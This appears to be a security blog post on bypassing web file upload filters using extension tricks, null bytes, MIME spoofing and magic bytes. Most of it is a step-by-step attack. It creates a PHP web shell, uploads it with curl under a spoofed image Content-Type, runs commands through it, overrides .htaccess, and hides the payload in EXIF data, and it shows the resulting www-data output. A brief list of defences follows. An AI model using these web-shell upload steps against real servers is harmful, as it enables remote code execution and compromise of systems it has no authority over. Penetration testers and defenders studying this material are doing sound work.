Listen to this Post
File upload vulnerabilities are a common attack vector in web applications. Attackers can exploit improper file upload validation to upload malicious files, leading to server compromise, data breaches, or remote code execution. Below are some techniques to bypass file upload filters.
Common Bypass Methods:
- Changing File Extension – Try
.php5,.phtml,.phar, `.php7` instead of.php. - Double Extensions – Use `shell.php.jpg` to trick filters.
- Null Byte Injection – `shell.php%00.jpg` (if the server mishandles null bytes).
- Case Manipulation –
.PhP, `.pHP` to evade case-sensitive checks. - Adding Trailing Characters – `shell.php.` or `shell.php ` (space).
- MIME Type Spoofing – Modify the `Content-Type` header to `image/jpeg` while uploading a PHP file.
- Magic Bytes Manipulation – Add image headers (e.g.,
GIF89a;) before malicious code.
You Should Know:
Practical Commands & Steps for Testing File Upload Vulnerabilities
1. Generating a Malicious PHP File
echo '<?php system($_GET["cmd"]); ?>' > shell.php
2. Bypassing Extension Checks with Double Extensions
mv shell.php shell.php.jpg
3. Using cURL to Bypass MIME Checks
curl -X POST -F "[email protected]" -H "Content-Type: image/jpeg" http://target.com/upload
4. Testing Null Byte Injection (If Supported)
mv shell.php shell.php%00.jpg
5. Checking File Uploads for Execution
curl http://target.com/uploads/shell.php?cmd=id
6. Bypassing .htaccess Restrictions
If `.htaccess` blocks PHP execution in uploads, try:
echo "AddType application/x-httpd-php .abc" > .htaccess
Then upload `shell.abc`.
- Using ExifTool to Embed Payloads in Images
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o payload.jpg
8. Detecting Filter Weaknesses with Burp Suite
- Intercept the upload request.
- Modify filename, Content-Type, or add null bytes.
- Test different payloads.
What Undercode Say:
File upload vulnerabilities remain a critical security issue due to improper validation. Always:
– Restrict allowed extensions.
– Use server-side checks (not just client-side).
– Store uploads outside the web root.
– Scan files for malware.
– Implement proper file permission controls.
Expected Output:
A successful bypass will allow uploading and executing malicious scripts, leading to:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prediction:
As web applications evolve, attackers will develop more advanced bypass techniques, including AI-generated payloads and polyglot files. Developers must adopt stricter validation mechanisms, such as:
– File signature verification.
– Sandboxed execution environments.
– Real-time malware scanning.
Stay updated with the latest bypass techniques to secure applications effectively.
Relevant URLs:
IT/Security Reporter URL:
Reported By: Mustafa Abdullah11 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
